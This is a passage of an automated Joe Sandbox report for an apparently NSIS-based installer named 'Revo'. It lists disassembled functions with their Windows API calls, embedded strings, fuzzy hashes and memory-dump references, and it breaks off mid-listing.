Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 446e4d9e8c1d4a14347065386ac826de02e691f6a80b4fecd99ec428265b0f29
Instruction ID: b311e590087b617af27c489dd20f6d509b220c8bdff7a9a3342c218b0a6eff93
Opcode Fuzzy Hash: 446e4d9e8c1d4a14347065386ac826de02e691f6a80b4fecd99ec428265b0f29
Instruction Fuzzy Hash: 57511D75D04119AADF20EFD4CA85AAEBB79FF44304F14817BE501F62D0D7B89D828B58

Function 00403053 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DestroyWindow.USER32(00000000,00000000), ref: 0040306E
GetTickCount.KERNEL32 ref: 0040308C
wsprintfW.USER32 ref: 004030BA

Part of subcall function 00405727: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,004030CD,004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 004030DE
ShowWindow.USER32(00000000,00000005), ref: 004030EC

Part of subcall function 00403037: MulDiv.KERNEL32(00003F10,00000064,00006606), ref: 0040304C

Strings

... %d%%, xrefs: 004030B4

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: d603ab3d22ab90fcd5f028abd96f50b67476582cf4834f7724a7b10d819c61fb
Instruction ID: b005de13b07ab1df3b0a0d37ac4da2542258f94e3c9e0ca78ad4bdefce21122a
Opcode Fuzzy Hash: d603ab3d22ab90fcd5f028abd96f50b67476582cf4834f7724a7b10d819c61fb
Instruction Fuzzy Hash: B901CC70402220EBCB21AF51AE4AA6B7F6CFB00B46F14457BF441B11D4DAB84540DBAF

Function 00402FB8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
wsprintfW.USER32 ref: 0040300A
SetWindowTextW.USER32(?,?), ref: 0040301A
SetDlgItemTextW.USER32(?,00000406,?), ref: 0040302C

Strings

unpacking data: %d%%, xrefs: 00402FF8, 00403008
verifying installer: %d%%, xrefs: 00402FFF

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: f8ef608f1f7aebad9f190b0f8632da2cbee9a529c9542a92035af67f4cb09c9f
Instruction ID: f5d0dfdab9bbc179110c2e882a8d19bdfb033941f80f33e9338fd5ae6b2d935a
Opcode Fuzzy Hash: f8ef608f1f7aebad9f190b0f8632da2cbee9a529c9542a92035af67f4cb09c9f
Instruction Fuzzy Hash: BDF0317054020CABEF209F60DD4ABEE3B6CEB04349F00803AFA45B51D0DBB996598F99

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNELBASE(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c96ccbf9fda6c9b84cd62cb9b7995758edb6499716e88819902f7f7503e7d0df
Instruction ID: 2a34c59540e1e2abd0e75fc718a4647e5be88802d3978a8477eddc4b0ca47f36
Opcode Fuzzy Hash: c96ccbf9fda6c9b84cd62cb9b7995758edb6499716e88819902f7f7503e7d0df
Instruction Fuzzy Hash: 2531B171D00124BBCF21AFA5DD89D9E7E79AF45364F14023AF411762E1CB794D418F68

Function 0040349E Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004034B2

Part of subcall function 0040361D: SetFilePointer.KERNEL32(00000000,00000000,00000000,0040331B,?), ref: 0040362B

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,004033C8,00000004,00000000,00000000,?,?,00403342,000000FF,00000000,00000000,00008001,?), ref: 004034E5
SetFilePointer.KERNEL32(00075088,00000000,00000000,004266F0,00004000,?,00000000,004033C8,00000004,00000000,00000000,?,?,00403342,000000FF,00000000), ref: 004035E0

Strings

hA, xrefs: 00403569
B, xrefs: 0040356E, 00403587

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: hA$B
API String ID: 1092082344-3967375562
Opcode ID: cb276c14483c105a7586c14d68be8b5b17aecd994db7d3163225ad987586a429
Instruction ID: a6cc621958e3896f8f0562ac50284c64eb2e0996e34cc3673b0accbb5e92da07
Opcode Fuzzy Hash: cb276c14483c105a7586c14d68be8b5b17aecd994db7d3163225ad987586a429
Instruction Fuzzy Hash: C231D076504201EFDB209F6AFE419663FACF720356B85823FF901A22F0CB749901AB1D

Function 00404ECE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00442748,00442748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F6F
wsprintfW.USER32 ref: 00404F78
SetDlgItemTextW.USER32(?,00442748), ref: 00404F8B

Strings

%u.%u%s%s, xrefs: 00404F59
H'D, xrefs: 00404F61

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H'D
API String ID: 3540041739-2781796796
Opcode ID: 60bc0f88830695825215d5d13d670849f6c8cdac88fb7759c02a5879209dc451
Instruction ID: afccc7aac3e313c9cd9c08cd77de86888644faadf6bfb13213ca5942e74a4345
Opcode Fuzzy Hash: 60bc0f88830695825215d5d13d670849f6c8cdac88fb7759c02a5879209dc451
Instruction Fuzzy Hash: 2311B7739041283BDB0065AD9C46E9E369CEB85374F254637FA26F71D1EA79CC2182E8

Function 00406A26 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406A3D
wsprintfW.USER32 ref: 00406A78
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A8C

Strings

UXTHEME, xrefs: 00406A2F
%s%S.dll, xrefs: 00406A72

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: bea2c3dfad6db3553b24c87bd1a60070de232aee380c5cee9c100d0800ee2260
Instruction ID: 2c328a31db22aac531adf2f34800fe5ee0562984a44f040f64af452ff7173633
Opcode Fuzzy Hash: bea2c3dfad6db3553b24c87bd1a60070de232aee380c5cee9c100d0800ee2260
Instruction Fuzzy Hash: 36F0FC3060011967CF14BB64DD0EF9B375C9B01704F10847AA546F10D0EB789668CF98

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6959fe0fb51f26aaa33814d0e10720d0f48c0e6d4b98dacb20f991dbe6298ab2
Instruction ID: 8b1e6a7b1bb1698afdfead794f6417fbb3764ba01e46f9acc2dad3d3b5bdcb0f
Opcode Fuzzy Hash: 6959fe0fb51f26aaa33814d0e10720d0f48c0e6d4b98dacb20f991dbe6298ab2
Instruction Fuzzy Hash: 26213B72D04119AFCB05DF98DE85AEEBBB5EB08300F14003AF945F62A0D7749D81DB98

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 1c3a48323f680e00e8acd0968ad6ddb622719981f6bb572e47461f8d3efade9b
Instruction ID: 9c099894a08b5387b140c0c6ceeae01ce9e162d44e3ef65fd99a7f94bc085c8a
Opcode Fuzzy Hash: 1c3a48323f680e00e8acd0968ad6ddb622719981f6bb572e47461f8d3efade9b
Instruction Fuzzy Hash: 00219E71D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B889418B98

Function 004020FD Relevance: 6.1, APIs: 4, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 00402128
LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402139
KiUserCallbackDispatcher.NTDLL(?,00002000,?,0041E658,0040A000,?,00000008,00000001,000000F0), ref: 00402189

Part of subcall function 00405727: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,004030CD,004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004021B6

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$CallbackDispatcherFreeHandleLoadModuleTextUserWindowlstrcat
String ID:
API String ID: 719239633-0
Opcode ID: 5de1fd10f3c34d91682e05c9c3a69af0ea4da51c711688d66b0c73311e70599a
Instruction ID: ce338c56279ea8fe8b79aec8352296299df23ba62fb37657eb23f857ac8d175a
Opcode Fuzzy Hash: 5de1fd10f3c34d91682e05c9c3a69af0ea4da51c711688d66b0c73311e70599a
Instruction Fuzzy Hash: 9721D431900104EADF10AFA5CF89A9E7A71BF54355F30413BF501B91E5CBBD89829A2E

Function 00406079 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

Part of subcall function 0040601C: CharNextW.USER32(?,?,00456750,?,00406090,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 0040602A
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 0040602F
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 00406047

lstrlenW.KERNEL32(00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 004060D2
GetFileAttributesW.KERNEL32(00456750,00456750,00456750,00456750,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 004060E2

Strings

PgE, xrefs: 0040607F

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: PgE
API String ID: 3248276644-3220684765
Opcode ID: b320ac714881839a993191b9b67f373f4f0dd5a8269bf5d6f48fcd2d5b08a690
Instruction ID: 4bebfd15c2bd202af51862231bcf25e973859f7a9abf5f27d8efd0e3f4a0fce5
Opcode Fuzzy Hash: b320ac714881839a993191b9b67f373f4f0dd5a8269bf5d6f48fcd2d5b08a690
Instruction Fuzzy Hash: 21F07835084A6259E622B7360C05AAF25098F8232470B423FFC43B22C1DF3D8973D17E

Function 00406570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000000,00000000,?,?,00004000,00000000,?,?,?,?,Remove folder: ,?,00000000,004067E1,80000002), ref: 004065B6
RegCloseKey.KERNEL32(?), ref: 004065C1

Strings

Remove folder: , xrefs: 00406577

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseQueryValue
String ID: Remove folder:
API String ID: 3356406503-1958208860
Opcode ID: 550d5fe316565dec20d5196d1d20fe7c807bd52d6266540c79109f3c5ea7b4a7
Instruction ID: 7e3264d492d8171c025e68cf2784a3a6e2d975f6d7be64ef5dd4a0d5c385ab57
Opcode Fuzzy Hash: 550d5fe316565dec20d5196d1d20fe7c807bd52d6266540c79109f3c5ea7b4a7
Instruction Fuzzy Hash: E1017C72500209BBDF218F55DC09EDB3BA8EF54364F01403AFE16A2190E378DA64DBA4

Function 004061C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004061DF
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403663,004CD000,004D1000,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F), ref: 004061FA

Strings

nsa, xrefs: 004061CE

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: ca4f867381b256d976a036b4ee2479ffffcb38332db50c9e5a73bf50e74bc53e
Instruction ID: f348173cd445ce0cff63ab1922c44f7ab34be52ec2d52f6d3f60174017d9ed76
Opcode Fuzzy Hash: ca4f867381b256d976a036b4ee2479ffffcb38332db50c9e5a73bf50e74bc53e
Instruction Fuzzy Hash: 3BF06D76701204BBEB109B59DD05E9AB7A8EBA1710F11803EEA01A6240E6B099648764

Function 004071F5 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
